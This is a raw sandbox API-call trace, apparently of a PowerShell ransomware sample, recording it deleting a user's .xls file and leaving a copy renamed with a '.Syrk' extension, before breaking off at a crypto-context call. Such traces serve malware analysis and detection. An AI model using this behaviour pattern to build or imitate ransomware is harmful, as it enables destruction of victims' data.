[0210.594] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x58 [0210.594] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls", nBufferLength=0x58, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls", lpFilePart=0x0) returned 0x57 [0210.598] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x58 [0210.598] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls", nBufferLength=0x58, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls", lpFilePart=0x0) returned 0x57 [0210.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e490) returned 1 [0210.598] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x58 [0210.598] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls", nBufferLength=0x58, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls", lpFilePart=0x0) returned 0x57 [0210.599] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\2ndvk0uv6c93or2y33.xls\\*"), lpFindFileData=0x5a2e240 | out: lpFindFileData=0x5a2e240*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0210.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e200) returned 1 [0210.600] CoTaskMemAlloc (cb=0x404) returned 0x5c7e518 [0210.600] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c7e518, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0210.601] CoTaskMemFree (pv=0x5c7e518) [0210.603] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\2ndvk0uv6c93or2y33.xls")) returned 0x20 [0210.603] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x58 [0210.603] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls", nBufferLength=0x58, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls", lpFilePart=0x0) returned 0x57 [0210.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e158) returned 1 [0210.603] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\2ndvk0uv6c93or2y33.xls"), fInfoLevelId=0x0, lpFileInformation=0x24ca1c0 | out: lpFileInformation=0x24ca1c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb209f9b0, ftCreationTime.dwHighDateTime=0x1d9946b, ftLastAccessTime.dwLowDateTime=0x10005e40, ftLastAccessTime.dwHighDateTime=0x1d99d7e, ftLastWriteTime.dwLowDateTime=0x10005e40, ftLastWriteTime.dwHighDateTime=0x1d99d7e, nFileSizeHigh=0x0, nFileSizeLow=0xc3ea)) returned 1 [0210.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e154) returned 1 [0210.604] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\2ndvk0uv6c93or2y33.xls")) returned 1 [0210.609] EtwEventActivityIdControl () returned 0x0 [0210.610] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0210.610] EtwEventActivityIdControl () returned 0x0 [0210.610] EtwEventActivityIdControl () returned 0x0 [0210.610] EtwEventActivityIdControl () returned 0x0 [0210.883] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\2ndvk0uv6c93or2y33.xls.syrk")) returned 0x20 [0210.884] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\2ndvk0uv6c93or2y33.xls.syrk")) returned 0x20 [0210.884] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5d [0210.885] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls.Syrk", nBufferLength=0x5d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls.Syrk", lpFilePart=0x0) returned 0x5c [0210.885] EtwEventActivityIdControl () returned 0x0 [0210.885] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0210.886] EtwEventActivityIdControl () returned 0x0 [0210.886] EtwEventActivityIdControl () returned 0x0 [0210.886] EtwEventActivityIdControl () returned 0x0 [0210.892] EtwEventActivityIdControl () returned 0x0 [0210.893] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0210.893] EtwEventActivityIdControl () returned 0x0 [0210.894] EtwEventActivityIdControl () returned 0x0 [0210.894] EtwEventActivityIdControl () returned 0x0 [0210.898] EtwEventActivityIdControl () returned 0x0 [0210.899] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0210.899] EtwEventActivityIdControl () returned 0x0 [0210.899] EtwEventActivityIdControl () returned 0x0 [0210.899] EtwEventActivityIdControl () returned 0x0 [0210.906] EtwEventActivityIdControl () returned 0x0 [0210.907] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0210.908] EtwEventActivityIdControl () returned 0x0 [0210.908] EtwEventActivityIdControl () returned 0x0 [0210.908] EtwEventActivityIdControl () returned 0x0 [0210.912] EtwEventActivityIdControl () returned 0x0 [0210.913] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0210.913] EtwEventActivityIdControl () returned 0x0 [0210.913] EtwEventActivityIdControl () returned 0x0 [0210.913] EtwEventActivityIdControl () returned 0x0 [0211.084] EtwEventActivityIdControl () returned 0x0 [0211.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dbd4) returned 1 [0211.090] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\2ndvk0uv6c93or2y33.xls.syrk"), fInfoLevelId=0x0, lpFileInformation=0x24d9a44 | out: lpFileInformation=0x24d9a44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf97cd7c0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xf97cd7c0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xf97f48c0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0xc404)) returned 1 [0211.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dbd0) returned 1 [0211.095] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4c0 | out: lpConsoleScreenBufferInfo=0x5a2e4c0) returned 1 [0211.097] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4b8 | out: lpMode=0x5a2e4b8) returned 1 [0211.097] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4ac, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4ac*=0x2) returned 1 [0211.099] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e464 | out: lpConsoleScreenBufferInfo=0x5a2e464) returned 1 [0211.099] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4b8 | out: lpConsoleScreenBufferInfo=0x5a2e4b8) returned 1 [0211.100] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4b0 | out: lpMode=0x5a2e4b0) returned 1 [0211.100] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4a4, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4a4*=0x2) returned 1 [0211.101] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4c8 | out: lpConsoleScreenBufferInfo=0x5a2e4c8) returned 1 [0211.101] GetConsoleOutputCP () returned 0x1b5 [0211.102] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e238, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e238) returned 0 [0211.102] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e318 | out: lpConsoleScreenBufferInfo=0x5a2e318) returned 1 [0211.102] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e310 | out: lpMode=0x5a2e310) returned 1 [0211.103] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24f4294*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e304, lpReserved=0x0 | out: lpBuffer=0x24f4294*, lpNumberOfCharsWritten=0x5a2e304*=0x4f) returned 1 [0211.103] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e310 | out: lpMode=0x5a2e310) returned 1 [0211.103] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e304, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e304*=0x2) returned 1 [0211.104] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e420 | out: lpConsoleScreenBufferInfo=0x5a2e420) returned 1 [0211.105] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e418 | out: lpMode=0x5a2e418) returned 1 [0211.105] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e40c, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e40c*=0x2) returned 1 [0211.106] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4b8 | out: lpConsoleScreenBufferInfo=0x5a2e4b8) returned 1 [0211.107] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4b0 | out: lpMode=0x5a2e4b0) returned 1 [0211.107] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4a4, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4a4*=0x2) returned 1 [0211.108] GetConsoleOutputCP () returned 0x1b5 [0211.108] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2c8) returned 0 [0211.108] GetConsoleOutputCP () returned 0x1b5 [0211.108] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e350, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e350) returned 0 [0211.108] GetConsoleOutputCP () returned 0x1b5 [0211.109] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e32c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e32c) returned 0 [0211.109] GetConsoleOutputCP () returned 0x1b5 [0211.109] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e32c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e32c) returned 0 [0211.109] GetConsoleOutputCP () returned 0x1b5 [0211.109] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2c8) returned 0 [0211.109] GetConsoleOutputCP () returned 0x1b5 [0211.109] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e350, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e350) returned 0 [0211.110] GetConsoleOutputCP () returned 0x1b5 [0211.110] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e32c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e32c) returned 0 [0211.110] GetConsoleOutputCP () returned 0x1b5 [0211.110] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e32c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e32c) returned 0 [0211.110] GetConsoleOutputCP () returned 0x1b5 [0211.110] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2c8) returned 0 [0211.110] GetConsoleOutputCP () returned 0x1b5 [0211.110] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e350, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e350) returned 0 [0211.111] GetConsoleOutputCP () returned 0x1b5 [0211.111] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e32c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e32c) returned 0 [0211.111] GetConsoleOutputCP () returned 0x1b5 [0211.111] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e32c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e32c) returned 0 [0211.111] GetConsoleOutputCP () returned 0x1b5 [0211.111] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2c8) returned 0 [0211.111] GetConsoleOutputCP () returned 0x1b5 [0211.111] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e350, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e350) returned 0 [0211.111] GetConsoleOutputCP () returned 0x1b5 [0211.112] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e32c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e32c) returned 0 [0211.112] GetConsoleOutputCP () returned 0x1b5 [0211.112] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e32c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e32c) returned 0 [0211.112] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e418 | out: lpConsoleScreenBufferInfo=0x5a2e418) returned 1 [0211.112] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e410 | out: lpMode=0x5a2e410) returned 1 [0211.113] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24f4c38*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e404, lpReserved=0x0 | out: lpBuffer=0x24f4c38*, lpNumberOfCharsWritten=0x5a2e404*=0x4f) returned 1 [0211.113] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e410 | out: lpMode=0x5a2e410) returned 1 [0211.114] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e404, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e404*=0x2) returned 1 [0211.115] GetConsoleOutputCP () returned 0x1b5 [0211.115] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3ec) returned 0 [0211.115] GetConsoleOutputCP () returned 0x1b5 [0211.115] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3ec) returned 0 [0211.115] GetConsoleOutputCP () returned 0x1b5 [0211.115] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3ec) returned 0 [0211.115] GetConsoleOutputCP () returned 0x1b5 [0211.116] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3ec) returned 0 [0211.116] GetConsoleOutputCP () returned 0x1b5 [0211.116] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e37c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e37c) returned 0 [0211.116] GetConsoleOutputCP () returned 0x1b5 [0211.117] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e37c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e37c) returned 0 [0211.117] GetConsoleOutputCP () returned 0x1b5 [0211.117] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e37c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e37c) returned 0 [0211.117] GetConsoleOutputCP () returned 0x1b5 [0211.117] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e37c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e37c) returned 0 [0211.117] GetConsoleOutputCP () returned 0x1b5 [0211.117] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e37c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e37c) returned 0 [0211.117] GetConsoleOutputCP () returned 0x1b5 [0211.118] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e37c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e37c) returned 0 [0211.118] GetConsoleOutputCP () returned 0x1b5 [0211.118] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e37c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e37c) returned 0 [0211.118] GetConsoleOutputCP () returned 0x1b5 [0211.118] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e37c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e37c) returned 0 [0211.118] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e418 | out: lpConsoleScreenBufferInfo=0x5a2e418) returned 1 [0211.118] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e410 | out: lpMode=0x5a2e410) returned 1 [0211.119] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24f50e0*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e404, lpReserved=0x0 | out: lpBuffer=0x24f50e0*, lpNumberOfCharsWritten=0x5a2e404*=0x4f) returned 1 [0211.119] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e410 | out: lpMode=0x5a2e410) returned 1 [0211.120] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e404, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e404*=0x2) returned 1 [0211.120] GetConsoleOutputCP () returned 0x1b5 [0211.121] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0211.121] GetConsoleOutputCP () returned 0x1b5 [0211.121] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0211.121] GetConsoleOutputCP () returned 0x1b5 [0211.121] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0211.121] GetConsoleOutputCP () returned 0x1b5 [0211.121] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0211.121] GetConsoleOutputCP () returned 0x1b5 [0211.122] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0211.122] GetConsoleOutputCP () returned 0x1b5 [0211.122] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0211.122] GetConsoleOutputCP () returned 0x1b5 [0211.122] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0211.122] GetConsoleOutputCP () returned 0x1b5 [0211.123] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0211.123] GetConsoleOutputCP () returned 0x1b5 [0211.123] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0211.123] GetConsoleOutputCP () returned 0x1b5 [0211.123] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0211.123] GetConsoleOutputCP () returned 0x1b5 [0211.123] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0211.123] GetConsoleOutputCP () returned 0x1b5 [0211.124] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0211.124] GetConsoleOutputCP () returned 0x1b5 [0211.124] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0211.124] GetConsoleOutputCP () returned 0x1b5 [0211.124] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0211.124] GetConsoleOutputCP () returned 0x1b5 [0211.125] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0211.125] GetConsoleOutputCP () returned 0x1b5 [0211.125] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0211.125] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e44c | out: lpConsoleScreenBufferInfo=0x5a2e44c) returned 1 [0211.126] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e444 | out: lpMode=0x5a2e444) returned 1 [0211.126] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24f5ae8*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e438, lpReserved=0x0 | out: lpBuffer=0x24f5ae8*, lpNumberOfCharsWritten=0x5a2e438*=0x4f) returned 1 [0211.126] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e444 | out: lpMode=0x5a2e444) returned 1 [0211.127] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e438, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e438*=0x2) returned 1 [0211.128] EtwEventActivityIdControl () returned 0x0 [0211.128] EtwEventActivityIdControl () returned 0x0 [0211.129] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0211.129] EtwEventActivityIdControl () returned 0x0 [0211.129] EtwEventActivityIdControl () returned 0x0 [0211.129] EtwEventActivityIdControl () returned 0x0 [0211.132] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0211.132] EtwEventActivityIdControl () returned 0x0 [0211.132] EtwEventActivityIdControl () returned 0x0 [0211.132] EtwEventActivityIdControl () returned 0x0 [0211.275] CryptAcquireContextW (in: 